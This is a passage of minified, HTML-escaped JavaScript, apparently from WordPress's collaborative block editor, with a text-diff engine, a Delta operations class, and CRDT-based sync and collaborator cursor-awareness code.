n.comparator?n.comparator(e,r):e===r||!!n.ignoreCase&amp;&amp;e.toLowerCase()===r.toLowerCase()}removeEmpty(e){let r=[];for(let n=0;n&lt;e.length;n++)e[n]&amp;&amp;r.push(e[n]);return r}castInput(e,r){return e}tokenize(e,r){return Array.from(e)}join(e){return e.join(&quot;&quot;)}postProcess(e,r){return e}get useLongestToken(){return!1}buildValues(e,r,n){let o=[],s;for(;e;)o.push(e),s=e.previousComponent,delete e.previousComponent,e=s;o.reverse();let i=o.length,c=0,a=0,u=0;for(;c&lt;i;c++){let l=o[c];if(l.removed)l.value=this.join(n.slice(u,u+l.count)),u+=l.count;else{if(!l.added&amp;&amp;this.useLongestToken){let d=r.slice(a,a+l.count);d=d.map(function(f,h){let p=n[u+h];return p.length&gt;f.length?p:f}),l.value=this.join(d)}else l.value=this.join(r.slice(a,a+l.count));a+=l.count,l.added||(u+=l.count)}}return o}};var $i=class extends Qt{},Wu=new $i;function ko(t,e,r){return Wu.diff(t,e,r)}var zi=class extends Qt{constructor(){super(...arguments),this.tokenize=Km}equals(e,r,n){return n.ignoreWhitespace?((!n.newlineIsToken||!e.includes(`
`))&amp;&amp;(e=e.trim()),(!n.newlineIsToken||!r.includes(`
`))&amp;&amp;(r=r.trim())):n.ignoreNewlineAtEof&amp;&amp;!n.newlineIsToken&amp;&amp;(e.endsWith(`
`)&amp;&amp;(e=e.slice(0,-1)),r.endsWith(`
`)&amp;&amp;(r=r.slice(0,-1))),super.equals(e,r,n)}},Ju=new zi;function Ki(t,e,r){return Ju.diff(t,e,r)}function Km(t,e){e.stripTrailingCr&amp;&amp;(t=t.replace(/\r\n/g,`
`));let r=[],n=t.split(/(\n|\r\n)/);n[n.length-1]||n.pop();for(let o=0;o&lt;n.length;o++){let s=n[o];o%2&amp;&amp;!e.newlineIsToken?r[r.length-1]+=s:r.push(s)}return r}var Oo=w(Qe(),1);var Qu=w(Qe(),1);function Hm(t){return JSON.parse(JSON.stringify(t))}var Hi;(t=&gt;{function e(s={},i={},c=!1){typeof s!=&quot;object&quot;&amp;&amp;(s={}),typeof i!=&quot;object&quot;&amp;&amp;(i={});let a=Hm(i);c||(a=Object.keys(a).reduce((u,l)=&gt;((a[l]!==null||a[l]!==void 0)&amp;&amp;(u[l]=a[l]),u),{}));for(let u in s)s[u]!==void 0&amp;&amp;i[u]===void 0&amp;&amp;(a[u]=s[u]);return Object.keys(a).length&gt;0?a:void 0}t.compose=e;function r(s={},i={}){typeof s!=&quot;object&quot;&amp;&amp;(s={}),typeof i!=&quot;object&quot;&amp;&amp;(i={});let c=Object.keys(s).concat(Object.keys(i)).reduce((a,u)=&gt;((0,Qu.default)(s[u],i[u])||(a[u]=i[u]===void 0?null:i[u]),a),{});return Object.keys(c).length&gt;0?c:void 0}t.diff=r;function n(s={},i={}){s=s||{};let c=Object.keys(i).reduce((a,u)=&gt;(i[u]!==s[u]&amp;&amp;s[u]!==void 0&amp;&amp;(a[u]=i[u]),a),{});return Object.keys(s).reduce((a,u)=&gt;(s[u]!==i[u]&amp;&amp;i[u]===void 0&amp;&amp;(a[u]=null),a),c)}t.invert=n;function o(s,i,c=!1){if(typeof s!=&quot;object&quot;)return i;if(typeof i!=&quot;object&quot;)return;if(!c)return i;let a=Object.keys(i).reduce((u,l)=&gt;(s[l]===void 0&amp;&amp;(u[l]=i[l]),u),{});return Object.keys(a).length&gt;0?a:void 0}t.transform=o})(Hi||(Hi={}));var Xt=Hi;var qi;(t=&gt;{function e(r){return typeof r.delete==&quot;number&quot;?r.delete:typeof r.retain==&quot;number&quot;?r.retain:typeof r.retain==&quot;object&quot;&amp;&amp;r.retain!==null?1:typeof r.insert==&quot;string&quot;?r.insert.length:1}t.length=e})(qi||(qi={}));var _e=qi;var se=class{ops;index;offset;constructor(t){this.ops=t,this.index=0,this.offset=0}hasNext(){return this.peekLength()&lt;1/0}next(t){t||(t=1/0);let e=this.ops[this.index];if(e){let r=this.offset,n=_e.length(e);if(t&gt;=n-r?(t=n-r,this.index+=1,this.offset=0):this.offset+=t,typeof e.delete==&quot;number&quot;)return{delete:t};let o={};return e.attributes&amp;&amp;(o.attributes=e.attributes),typeof e.retain==&quot;number&quot;?o.retain=t:typeof e.retain==&quot;object&quot;&amp;&amp;e.retain!==null?o.retain=e.retain:typeof e.insert==&quot;string&quot;?o.insert=e.insert.substr(r,t):o.insert=e.insert,o}return{retain:1/0}}peek(){return this.ops[this.index]}peekLength(){return this.ops[this.index]?_e.length(this.ops[this.index])-this.offset:1/0}peekType(){let t=this.ops[this.index];return t?typeof t.delete==&quot;number&quot;?&quot;delete&quot;:typeof t.retain==&quot;number&quot;||typeof t.retain==&quot;object&quot;&amp;&amp;t.retain!==null?&quot;retain&quot;:&quot;insert&quot;:&quot;retain&quot;}rest(){if(this.hasNext()){if(this.offset===0)return this.ops.slice(this.index)}else return[];let t=this.offset,e=this.index,r=this.next(),n=this.ops.slice(this.index);return this.offset=t,this.index=e,[r].concat(n)}};function qm(t){return JSON.parse(JSON.stringify(t))}var Wm=&quot;\0&quot;,Jm=1e4;function Wi(t){return t.map(e=&gt;({...e,count:e.value.length}))}var Xu=(t,e)=&gt;{if(typeof t!=&quot;object&quot;||t===null)throw new Error(`cannot retain a ${typeof t}`);if(typeof e!=&quot;object&quot;||e===null)throw new Error(`cannot retain a ${typeof e}`);let r=Object.keys(t)[0];if(!r||r!==Object.keys(e)[0])throw new Error(`embed types not matched: ${r} != ${Object.keys(e)[0]}`);return[r,t[r],e[r]]},Qm=class ue{static Op=_e;static OpIterator=se;static AttributeMap=Xt;static handlers={};static registerEmbed(e,r){this.handlers[e]=r}static unregisterEmbed(e){delete this.handlers[e]}static getHandler(e){let r=this.handlers[e];if(!r)throw new Error(`no handlers for embed type &quot;${e}&quot;`);return r}ops;constructor(e){Array.isArray(e)?this.ops=e:e!=null&amp;&amp;Array.isArray(e.ops)?this.ops=e.ops:this.ops=[]}insert(e,r){let n={};return typeof e==&quot;string&quot;&amp;&amp;e.length===0?this:(n.insert=e,r!=null&amp;&amp;typeof r==&quot;object&quot;&amp;&amp;Object.keys(r).length&gt;0&amp;&amp;(n.attributes=r),this.push(n))}delete(e){return e&lt;=0?this:this.push({delete:e})}retain(e,r){if(typeof e==&quot;number&quot;&amp;&amp;e&lt;=0)return this;let n={retain:e};return r!=null&amp;&amp;typeof r==&quot;object&quot;&amp;&amp;Object.keys(r).length&gt;0&amp;&amp;(n.attributes=r),this.push(n)}push(e){let r=this.ops.length,n=this.ops[r-1];if(e=qm(e),typeof n==&quot;object&quot;){if(typeof e.delete==&quot;number&quot;&amp;&amp;typeof n.delete==&quot;number&quot;)return this.ops[r-1]={delete:n.delete+e.delete},this;if(typeof n.delete==&quot;number&quot;&amp;&amp;e.insert!==null&amp;&amp;e.insert!==void 0&amp;&amp;(r-=1,n=this.ops[r-1],typeof n!=&quot;object&quot;))return this.ops.unshift(e),this;if((0,Oo.default)(e.attributes,n.attributes)){if(typeof e.insert==&quot;string&quot;&amp;&amp;typeof n.insert==&quot;string&quot;)return this.ops[r-1]={insert:n.insert+e.insert},typeof e.attributes==&quot;object&quot;&amp;&amp;(this.ops[r-1].attributes=e.attributes),this;if(typeof e.retain==&quot;number&quot;&amp;&amp;typeof n.retain==&quot;number&quot;)return this.ops[r-1]={retain:n.retain+e.retain},typeof e.attributes==&quot;object&quot;&amp;&amp;(this.ops[r-1].attributes=e.attributes),this}}return r===this.ops.length?this.ops.push(e):this.ops.splice(r,0,e),this}chop(){let e=this.ops[this.ops.length-1];return e&amp;&amp;typeof e.retain==&quot;number&quot;&amp;&amp;!e.attributes&amp;&amp;this.ops.pop(),this}filter(e){return this.ops.filter(e)}forEach(e){this.ops.forEach(e)}map(e){return this.ops.map(e)}partition(e){let r=[],n=[];return this.forEach(o=&gt;{(e(o)?r:n).push(o)}),[r,n]}reduce(e,r){return this.ops.reduce(e,r)}changeLength(){return this.reduce((e,r)=&gt;r.insert?e+_e.length(r):r.delete?e-r.delete:e,0)}length(){return this.reduce((e,r)=&gt;e+_e.length(r),0)}slice(e=0,r=1/0){let n=[],o=new se(this.ops),s=0;for(;s&lt;r&amp;&amp;o.hasNext();){let i;s&lt;e?i=o.next(e-s):(i=o.next(r-s),n.push(i)),s+=_e.length(i)}return new ue(n)}compose(e){let r=new se(this.ops),n=new se(e.ops),o=[],s=n.peek();if(s!=null&amp;&amp;typeof s.retain==&quot;number&quot;&amp;&amp;(s.attributes===null||s.attributes===void 0)){let c=s.retain;for(;r.peekType()===&quot;insert&quot;&amp;&amp;r.peekLength()&lt;=c;)c-=r.peekLength(),o.push(r.next());s.retain-c&gt;0&amp;&amp;n.next(s.retain-c)}let i=new ue(o);for(;r.hasNext()||n.hasNext();)if(n.peekType()===&quot;insert&quot;)i.push(n.next());else if(r.peekType()===&quot;delete&quot;)i.push(r.next());else{let c=Math.min(r.peekLength(),n.peekLength()),a=r.next(c),u=n.next(c);if(u.retain){let l={};if(typeof a.retain==&quot;number&quot;)l.retain=typeof u.retain==&quot;number&quot;?c:u.retain;else if(typeof u.retain==&quot;number&quot;)a.retain===null||a.retain===void 0?l.insert=a.insert:l.retain=a.retain;else{let f=a.retain===null||a.retain===void 0?&quot;insert&quot;:&quot;retain&quot;,[h,p,g]=Xu(a[f],u.retain),m=ue.getHandler(h);l[f]={[h]:m.compose(p,g,f===&quot;retain&quot;)}}let d=Xt.compose(a.attributes,u.attributes,typeof a.retain==&quot;number&quot;);if(d&amp;&amp;(l.attributes=d),i.push(l),!n.hasNext()&amp;&amp;(0,Oo.default)(i.ops[i.ops.length-1],l)){let f=new ue(r.rest());return i.concat(f).chop()}}else typeof u.delete==&quot;number&quot;&amp;&amp;(typeof a.retain==&quot;number&quot;||typeof a.retain==&quot;object&quot;&amp;&amp;a.retain!==null)&amp;&amp;i.push(u)}return i.chop()}concat(e){let r=new ue(this.ops.slice());return e.ops.length&gt;0&amp;&amp;(r.push(e.ops[0]),r.ops=r.ops.concat(e.ops.slice(1))),r}diff(e){if(this.ops===e.ops)return new ue;let r=this.deltasToStrings(e),n=Wi(ko(r[0],r[1])),o=new se(this.ops),s=new se(e.ops);return this.convertChangesToDelta(n,o,s).chop()}eachLine(e,r=`
`){let n=new se(this.ops),o=new ue,s=0;for(;n.hasNext();){if(n.peekType()!==&quot;insert&quot;)return;let i=n.peek(),c=_e.length(i)-n.peekLength(),a=typeof i.insert==&quot;string&quot;?i.insert.indexOf(r,c)-c:-1;if(a&lt;0)o.push(n.next());else if(a&gt;0)o.push(n.next(a));else{if(e(o,n.next(1).attributes||{},s)===!1)return;s+=1,o=new ue}}o.length()&gt;0&amp;&amp;e(o,{},s)}invert(e){let r=new ue;return this.reduce((n,o)=&gt;{if(o.insert)r.delete(_e.length(o));else{if(typeof o.retain==&quot;number&quot;&amp;&amp;(o.attributes===null||o.attributes===void 0))return r.retain(o.retain),n+o.retain;if(o.delete||typeof o.retain==&quot;number&quot;){let s=o.delete||o.retain;return e.slice(n,n+s).forEach(c=&gt;{o.delete?r.push(c):o.retain&amp;&amp;o.attributes&amp;&amp;r.retain(_e.length(c),Xt.invert(o.attributes,c.attributes))}),n+s}else if(typeof o.retain==&quot;object&quot;&amp;&amp;o.retain!==null){let s=e.slice(n,n+1),i=new se(s.ops).next(),[c,a,u]=Xu(o.retain,i.insert),l=ue.getHandler(c);return r.retain({[c]:l.invert(a,u)},Xt.invert(o.attributes,i.attributes)),n+1}}return n},0),r.chop()}transform(e,r=!1){if(r=!!r,typeof e==&quot;number&quot;)return this.transformPosition(e,r);let n=e,o=new se(this.ops),s=new se(n.ops),i=new ue;for(;o.hasNext()||s.hasNext();)if(o.peekType()===&quot;insert&quot;&amp;&amp;(r||s.peekType()!==&quot;insert&quot;))i.retain(_e.length(o.next()));else if(s.peekType()===&quot;insert&quot;)i.push(s.next());else{let c=Math.min(o.peekLength(),s.peekLength()),a=o.next(c),u=s.next(c);if(a.delete)continue;if(u.delete)i.push(u);else{let l=a.retain,d=u.retain,f=typeof d==&quot;object&quot;&amp;&amp;d!==null?d:c;if(typeof l==&quot;object&quot;&amp;&amp;l!==null&amp;&amp;typeof d==&quot;object&quot;&amp;&amp;d!==null){let h=Object.keys(l)[0];if(h===Object.keys(d)[0]){let p=ue.getHandler(h);p&amp;&amp;(f={[h]:p.transform(l[h],d[h],r)})}}i.retain(f,Xt.transform(a.attributes,u.attributes,r))}}return i.chop()}transformPosition(e,r=!1){r=!!r;let n=new se(this.ops),o=0;for(;n.hasNext()&amp;&amp;o&lt;=e;){let s=n.peekLength(),i=n.peekType();if(n.next(),i===&quot;delete&quot;){e-=Math.min(s,e-o);continue}else i===&quot;insert&quot;&amp;&amp;(o&lt;e||!r)&amp;&amp;(e+=s);o+=s}return e}diffWithCursor(e,r){if(this.ops===e.ops)return new ue;let n=this.deltasToStrings(e);if(Math.max(...n.map(d=&gt;d.length))&gt;Jm){let d=Wi(Ki(n[0],n[1])),f=new se(this.ops),h=new se(e.ops);return this.convertChangesToDelta(d,f,h).chop()}else if(r===null)return this.diff(e);let s=Wi(ko(n[0],n[1])),i=0,c=[];for(let d=0;d&lt;s.length;d++){let f=s[d],h=i,p=i+(f.count??0),g=r&gt;h&amp;&amp;r&lt;=p,m=!f.added&amp;&amp;!f.removed,y=f.removed&amp;&amp;!f.added,E=s[d+1],_=E&amp;&amp;E.added&amp;&amp;!E.removed;if(m&amp;&amp;g&amp;&amp;_){let S=this.tryMoveInsertionToCursor(f,E,r,h);if(S){c.push(...S),d++,i=p;continue}}if(y){let S=this.tryMoveDeletionToCursor(f,c,r,i);if(S){c.pop(),c.push(...S),i+=f.count??0;continue}}c.push(f),f.added||(i+=f.count??0)}s=c;let a=new se(this.ops),u=new se(e.ops);return this.convertChangesToDelta(s,a,u).chop()}tryMoveInsertionToCursor(e,r,n,o){let s=r.value,i=s.length,c=n-o-i;if(!(e.value.substring(c,c+s.length)===s))return null;let l=e.value.substring(0,c),d=e.value.substring(c),f=[];return l.length&gt;0&amp;&amp;f.push({value:l,count:l.length,added:!1,removed:!1}),f.push(r),d.length&gt;0&amp;&amp;f.push({value:d,count:d.length,added:!1,removed:!1}),f}tryMoveDeletionToCursor(e,r,n,o){let s=r[r.length-1];if(!s||s.added||s.removed)return null;let i=o-(s.count??0),c=o;if(n&lt;i||n&gt;=c)return null;let a=e.value,u=n-i;if(!(s.value.substring(u,u+a.length)===a))return null;let f=s.value.substring(0,u),h=s.value.substring(u),p=e.count??0,g=h.substring(p),m=[];return f.length&gt;0&amp;&amp;m.push({value:f,count:f.length,added:!1,removed:!1}),m.push(e),g.length&gt;0&amp;&amp;m.push({value:g,count:g.length,added:!1,removed:!1}),m}deltasToStrings(e){return[this,e].map(r=&gt;r.map(n=&gt;{if(n.insert!==null||n.insert!==void 0)return typeof n.insert==&quot;string&quot;?n.insert:Wm;let o=r===e?&quot;on&quot;:&quot;with&quot;;throw new Error(&quot;diff() called &quot;+o+&quot; non-document&quot;)}).join(&quot;&quot;))}convertChangesToDelta(e,r,n){let o=new ue;return e.forEach(s=&gt;{let i=s.count??0;for(;i&gt;0;){let c=0;if(s.added)c=Math.min(n.peekLength(),i),o.push(n.next(c));else if(s.removed)c=Math.min(i,r.peekLength()),r.next(c),o.delete(c);else{c=Math.min(r.peekLength(),n.peekLength(),i);let a=r.next(c),u=n.next(c);(0,Oo.default)(a.insert,u.insert)?o.retain(c,Xt.diff(a.attributes,u.attributes)):o.push(u).delete(c)}i-=c}}),o}},Zu=Qm;var Uo={};mu(Uo,{ConnectionErrorCode:Tr,createSyncManager:qu,Delta:Zu,CRDT_DOC_META_PERSISTENCE_KEY:So,CRDT_RECORD_MAP_KEY:bo,LOCAL_EDITOR_ORIGIN:vo,LOCAL_UNDO_IGNORED_ORIGIN:hu,retrySyncConnection:()=&gt;Sn.retryNow()});var Od=w(Ar(),1);var ud=w(W(),1);var td=100,rd=5,nd=5e3;function Xm(){let t=window.navigator.userAgent,e=&quot;Unknown&quot;;return t.includes(&quot;Firefox&quot;)?e=&quot;Firefox&quot;:t.includes(&quot;Edg&quot;)?e=&quot;Microsoft Edge&quot;:t.includes(&quot;Chrome&quot;)&amp;&amp;!t.includes(&quot;Edg&quot;)?e=&quot;Chrome&quot;:t.includes(&quot;Safari&quot;)&amp;&amp;!t.includes(&quot;Chrome&quot;)?e=&quot;Safari&quot;:t.includes(&quot;MSIE&quot;)||t.includes(&quot;Trident&quot;)?e=&quot;Internet Explorer&quot;:(t.includes(&quot;Opera&quot;)||t.includes(&quot;OPR&quot;))&amp;&amp;(e=&quot;Opera&quot;),e}function od(t,e,r){if(t.size!==e.size)return!1;for(let[n,o]of t.entries())if(!e.has(n)||!r(o,e.get(n)))return!1;return!0}function sd(t,e){return!t||!e?t===e:Object.keys(t).length!==Object.keys(e).length?!1:Object.entries(t).every(([r,n])=&gt;n===e[r])}function id(t){let{avatar_urls:e,id:r,name:n,slug:o}=t;return{avatar_urls:e,browserType:Xm(),enteredAt:Date.now(),id:r,name:n,slug:o}}function cd(t,e){return typeof t==&quot;object&quot;&amp;&amp;t!==null&amp;&amp;e in t?t[e]:null}function Ji(t){return Object.keys(t)}var ad=class extends qt{getStates(){return super.getStates()}getLocalStateField(t){let e=this.getLocalState();return cd(e,t)}setLocalStateField(t,e){super.setLocalStateField(t,e)}};var Zm=class extends ad{setLocalStateField(t,e){this.isFieldEqual(t,e,this.getLocalStateField(t)??void 0)||super.setLocalStateField(t,e)}isFieldEqual(t,e,r){if([&quot;clientId&quot;,&quot;isConnected&quot;,&quot;isMe&quot;].includes(t))return e===r;if(t in this.equalityFieldChecks){let n=this.equalityFieldChecks[t];return n(e,r)}throw new Error(`No equality check implemented for awareness state field &quot;${t.toString()}&quot;.`)}isStateEqual(t,e){return[...new Set([...Ji(t),...Ji(e)])].every(r=&gt;{let n=t[r],o=e[r];return this.isFieldEqual(r,n,o)})}},ld=class extends Zm{hasSetupRun=!1;disconnectedCollaborators=new Set;seenStates=new Map;previousSnapshot=new Map;stateSubscriptions=[];myThrottledState={};throttleTimeouts=new Map;setUp=()=&gt;{this.hasSetupRun||(this.hasSetupRun=!0,this.onSetUp(),this.on(&quot;change&quot;,({added:t,removed:e,updated:r})=&gt;{[...t,...r].forEach(n=&gt;{this.disconnectedCollaborators.delete(n)}),e.forEach(n=&gt;{this.disconnectedCollaborators.add(n),setTimeout(()=&gt;{this.disconnectedCollaborators.delete(n),this.updateSubscribers(!0)},nd)}),this.updateSubscribers()}))};getCurrentState(){return Array.from(this.previousSnapshot.values())}getSeenStates(){return this.seenStates}onStateChange(t){return this.stateSubscriptions.push(t),()=&gt;{this.stateSubscriptions=this.stateSubscriptions.filter(e=&gt;e!==t)}}setThrottledLocalStateField(t,e,r){this.setLocalStateField(t,e),this.throttleTimeouts.set(t,setTimeout(()=&gt;{this.throttleTimeouts.delete(t),this.myThrottledState[t]&amp;&amp;(this.setLocalStateField(t,this.myThrottledState[t]),delete this.myThrottledState[t])},r))}setConnectionStatus(t){t?this.disconnectedCollaborators.delete(this.clientID):this.disconnectedCollaborators.add(this.clientID),this.updateSubscribers(!0)}updateSubscribers(t=!1){if(!this.stateSubscriptions.length)return;let e=this.getStates();this.seenStates=new Map([...this.seenStates.entries(),...e.entries()]);let r=new Map([...this.disconnectedCollaborators,...e.keys()].filter(n=&gt;Object.keys(this.seenStates.get(n)??{}).length&gt;0).map(n=&gt;{let o=this.seenStates.get(n),s=!this.disconnectedCollaborators.has(n),i=n===this.clientID,c=i?this.myThrottledState:{},a={...o,...c,clientId:n,isConnected:s,isMe:i};return[n,a]}));!t&amp;&amp;od(this.previousSnapshot,r,this.isStateEqual.bind(this))||(this.previousSnapshot=r,this.stateSubscriptions.forEach(n=&gt;{n(Array.from(r.values()))}))}};var x=&quot;core&quot;;var Qi=class extends ld{onSetUp(){this.setCurrentCollaboratorInfo()}async setCurrentCollaboratorInfo(){let t=await(0,ud.resolveSelect)(x).getCurrentUser(),e=id(t);this.setLocalStateField(&quot;collaboratorInfo&quot;,e)}},Xi={collaboratorInfo:sd},dd=class extends Qi{equalityFieldChecks=Xi};var fd=w(W(),1);var hd=w(Ar(),1);function Zi(t){let e=[],r=t;for(;r;){let n=r.parent;if(!n||!(n instanceof C.Array))return null;let o=-1;for(let i=0;i&lt;n.length;i++)if(n.get(i)===r){o=i;break}if(o===-1)return null;e.unshift(o);let s=n.parent;if(s instanceof C.Map&amp;&amp;s.get(&quot;clientId&quot;)!==void 0)r=s;else break}return e}function ec(t){if(t.length===0)return null;let{getBlocks:e}=(0,fd.select)(hd.store),n=ey(e(),e);for(let o=0;o&lt;t.length;o++){let s=n[t[o]];if(!s)return null;if(o===t.length-1)return s.clientId;n=s.innerBlocks}return null}function ey(t,e){let r=pd(t,&quot;core/post-content&quot;);return r?e(r.clientId):t}function pd(t,e){for(let r of t){if(r.name===e)return r;if(r.innerBlocks?.length){let n=pd(r.innerBlocks,e);if(n)return n}}return null}var mt=w(bn(),1);var md=w(Ai(),1),{lock:yd,unlock:Se}=(0,md.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(&quot;I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.&quot;,&quot;@wordpress/core-data&quot;);var{ConnectionErrorCode:Ed,createSyncManager:ty,Delta:tc,CRDT_DOC_META_PERSISTENCE_KEY:wd,CRDT_RECORD_MAP_KEY:qe,LOCAL_EDITOR_ORIGIN:_d,LOCAL_UNDO_IGNORED_ORIGIN:rc,retrySyncConnection:Sd}=Se(Uo),Lo;function pe(){return Lo||(Lo=ty(),Lo)}function yt(t,e){return t.getMap(e)}function Po(t={}){return new C.Map(Object.entries(t))}function vd(t){return t instanceof C.Map}function vn(t,e){let n=yt(e,qe).get(&quot;blocks&quot;);return n instanceof C.Array?Rd(t,n):null}var bd=57344;function Cd(t){for(let r=bd;r&lt;bd+16;r++){let n=String.fromCharCode(r);if(!t.includes(n))return n}return null}function Mo(t,e){if(!t.includes(&quot;&lt;&quot;)&amp;&amp;!t.includes(&quot;&amp;&quot;))return e;let r=Cd(t);if(!r)return e;let n=t.slice(0,e)+r+t.slice(e),s=(0,mt.create)({html:n}).text.indexOf(r);return s===-1?e:s}function No(t,e){if(!t.includes(&quot;&lt;&quot;)&amp;&amp;!t.includes(&quot;&amp;&quot;))return e;let r=Cd(t);if(!r)return e;let n=(0,mt.create)({html:t}),o=(0,mt.create)({text:r});n.formats[e]&amp;&amp;(o.formats[0]=n.formats[e]);let s=(0,mt.insert)(n,o,e,e),c=(0,mt.toHTMLString)({value:s}).indexOf(r);return c===-1?e:c}function Rd(t,e){for(let r of e){if(r.get(&quot;clientId&quot;)===t)return r;let n=r.get(&quot;innerBlocks&quot;);if(n&amp;&amp;n.length&gt;0){let o=Rd(t,n);if(o)return o}}return null}var Td=w(W(),1);var xd=w(Ar(),1);var Dr=(t=&gt;(t.None=&quot;none&quot;,t.Cursor=&quot;cursor&quot;,t.SelectionInOneBlock=&quot;selection-in-one-block&quot;,t.SelectionInMultipleBlocks=&quot;selection-in-multiple-blocks&quot;,t.WholeBlock=&quot;whole-block&quot;,t))(Dr||{}),kr=(t=&gt;(t.Forward=&quot;f&quot;,t.Backward=&quot;b&quot;,t))(kr||{});function Id(t,e,r,n){let{selectionDirection:o}=n??{},i=yt(r,qe).get(&quot;blocks&quot;),c=Object.keys(t).length===0,a={type:&quot;none&quot;};if(c||!i)return a;let u=t.clientId===e.clientId,l=u&amp;&amp;t.offset===e.offset;if(u&amp;&amp;t.offset===void 0&amp;&amp;e.offset===void 0){let p=Ad(t.clientId),g=p?ny(p,i):null;return g?{type:&quot;whole-block&quot;,blockPosition:g}:a}else if(l){let p=Cn(t,i);return p?{type:&quot;cursor&quot;,cursorPosition:p}:a}else if(u){let p=Cn(t,i),g=Cn(e,i);return!p||!g?a:{type:&quot;selection-in-one-block&quot;,cursorStartPosition:p,cursorEndPosition:g,selectionDirection:o}}let f=Cn(t,i),h=Cn(e,i);return!f||!h?a:{type:&quot;selection-in-multiple-blocks&quot;,cursorStartPosition:f,cursorEndPosition:h,selectionDirection:o}}function Cn(t,e){let r=Ad(t.clientId),n=r?ry(r,e):null;if(!n||!t.attributeKey||t.offset===void 0)return null;let s=n.get(&quot;attributes&quot;)?.get(t.attributeKey);return s instanceof C.Text?{relativePosition:C.createRelativePositionFromTypeIndex(s,No(s.toString(),t.offset)),absoluteOffset:t.offset}:null}function Ad(t){let{getBlockIndex:e,getBlockRootClientId:r,getBlockName:n}=(0,Td.select)(xd.store),o=[],s=t;for(;s;){let i=e(s);if(i===-1)return null;o.unshift(i);let c=r(s);if(!c||n(c)===&quot;core/post-content&quot;)break;s=c}return o.length&gt;0?o:null}function ry(t,e){let r=e;for(let n=0;n&lt;t.length;n++){if(t[n]&gt;=r.length)return null;let o=r.get(t[n]);if(!o)return null;if(n===t.length-1)return o;r=o.get(&quot;innerBlocks&quot;)??new C.Array}return null}function ny(t,e){let r=e;for(let n=0;n&lt;t.length;n++){if(t[n]&gt;=r.length)return null;if(n===t.length-1)return C.createRelativePositionFromTypeIndex(r,t[n]);r=r.get(t[n])?.get(&quot;innerBlocks&quot;)??new C.Array}return null}function Dd(t,e){if(t.type!==e.type)return!1;switch(t.type){case&quot;none&quot;:return!0;case&quot;cursor&quot;:return Rn(t.cursorPosition,e.cursorPosition);case&quot;selection-in-one-block&quot;:return Rn(t.cursorStartPosition,e.cursorStartPosition)&amp;&amp;Rn(t.cursorEndPosition,e.cursorEndPosition)&amp;&amp;t.selectionDirection===e.selectionDirection;case&quot;selection-in-multiple-blocks&quot;:return Rn(t.cursorStartPosition,e.cursorStartPosition)&amp;&amp;Rn(t.cursorEndPosition,e.cursorEndPosition)&amp;&amp;t.selectionDirection===e.selectionDirection;case&quot;whole-block&quot;:return C.compareRelativePositions(t.blockPosition,e.blockPosition);default:return!1}}function Rn(t,e){let r=C.compareRelativePositions(t.relativePosition,e.relativePosition),n=t.absoluteOffset===e.absoluteOffset;return r&amp;&amp;n}var Ud=class extends Qi{constructor(t,e,r,n){super(t),this.kind=e,this.name=r,this.postId=n}equalityFieldChecks={...Xi,editorState:this.areEditorStatesEqual};onSetUp(){super.onSetUp(),this.subscribeToCollaboratorSelectionChanges()}subscribeToCollaboratorSelectionChanges(){let{getSelectionStart:t,getSelectionEnd:e,getSelectedBlocksInitialCaretPosition:r}=(0,Or.select)(Od.store),n=t(),o=e(),s=null,i=null;(0,Or.subscribe)(()=&gt;{let c=t(),a=e();if(c===n&amp;&amp;a===o)return;i||(i={start:n,end:o}),n=c,o=a;let u=r();this.updateSelectionInEntityRecord(n,o,u),s&amp;&amp;clearTimeout(s),s=setTimeout(()=&gt;{let l={};i&amp;&amp;(l.selectionDirection=oy(i.start,i.end,n,o),i=null);let d=Id(n,o,this.doc,l);this.setThrottledLocalStateField(&quot;editorState&quot;,{selection:d},td)},rd)})}async updateSelectionInEntityRecord(t,e,r){let n={selection:{selectionStart:t,selectionEnd:e,initialPosition:r}},o={undoIgnore:!0};(0,Or.dispatch)(x).editEntityRecord(this.kind,this.name,this.postId,n,o)}areEditorStatesEqual(t,e){return!t||!e?t===e:!t.selection||!e.selection?t.selection===e.selection:Dd(t.selection,e.selection)}convertSelectionStateToAbsolute(t){if(t.type===Dr.None)return{richTextOffset:null,localClientId:null};if(t.type===Dr.WholeBlock){let i=C.createAbsolutePositionFromRelativePosition(t.blockPosition,this.doc),c=null;if(i&amp;&amp;i.type instanceof C.Array){let u=i.type.get(i.index);if(u instanceof C.Map){let l=Zi(u);c=l?ec(l):null}}return{richTextOffset:null,localClientId:c}}let e=&quot;cursorPosition&quot;in t?t.cursorPosition:t.cursorStartPosition,r=C.createAbsolutePositionFromRelativePosition(e.relativePosition,this.doc);if(!r)return{richTextOffset:null,localClientId:null};let n=r.type.parent?.parent,o=n instanceof C.Map?Zi(n):null,s=o?ec(o):null;return{richTextOffset:Mo(r.type.toString(),r.index),localClientId:s}}isYItem(t){return&quot;content&quot;in t}getDebugData(){let t=this.doc,e=Object.fromEntries(Array.from(t.share,([o,s])=&gt;[o,s.toJSON()])),r=new Map(Array.from(this.getSeenStates().entries()).map(([o,s])=&gt;[String(o),{name:s.collaboratorInfo.name,wpUserId:s.collaboratorInfo.id}])),n={};return t.store.clients.forEach((o,s)=&gt;{let i=o.filter(this.isYItem);n[s]=i.map(c=&gt;{let{left:a,right:u,...l}=c;return{...l,left:a?{id:a.id,length:a.length,origin:a.origin,content:a.content}:null,right:u?{id:u.id,length:u.length,origin:u.origin,content:u.content}:null}})}),{doc:e,clients:n,collaboratorMap:Object.fromEntries(r)}}};function oy(t,e,r,n){let o=!kd(t,r),s=!kd(e,n);return o&amp;&amp;!s?kr.Backward:kr.Forward}function kd(t,e){return t.clientId===e.clientId&amp;&amp;t.attributeKey===e.attributeKey&amp;&amp;t.offset===e.offset}var Xd=w(Qe(),1),Zd=w(nr(),1);var Vo,sy=new Uint8Array(16);function nc(){if(!Vo&amp;&amp;(Vo=typeof crypto&lt;&quot;u&quot;&amp;&amp;crypto.getRandomValues&amp;&amp;crypto.getRandomValues.bind(crypto),!Vo))throw new Error(&quot;crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported&quot;);return Vo(sy)}var ee=[];for(let t=0;t&lt;256;++t)ee.push((t+256).toString(16).slice(1));function Ld(t,e=0){return 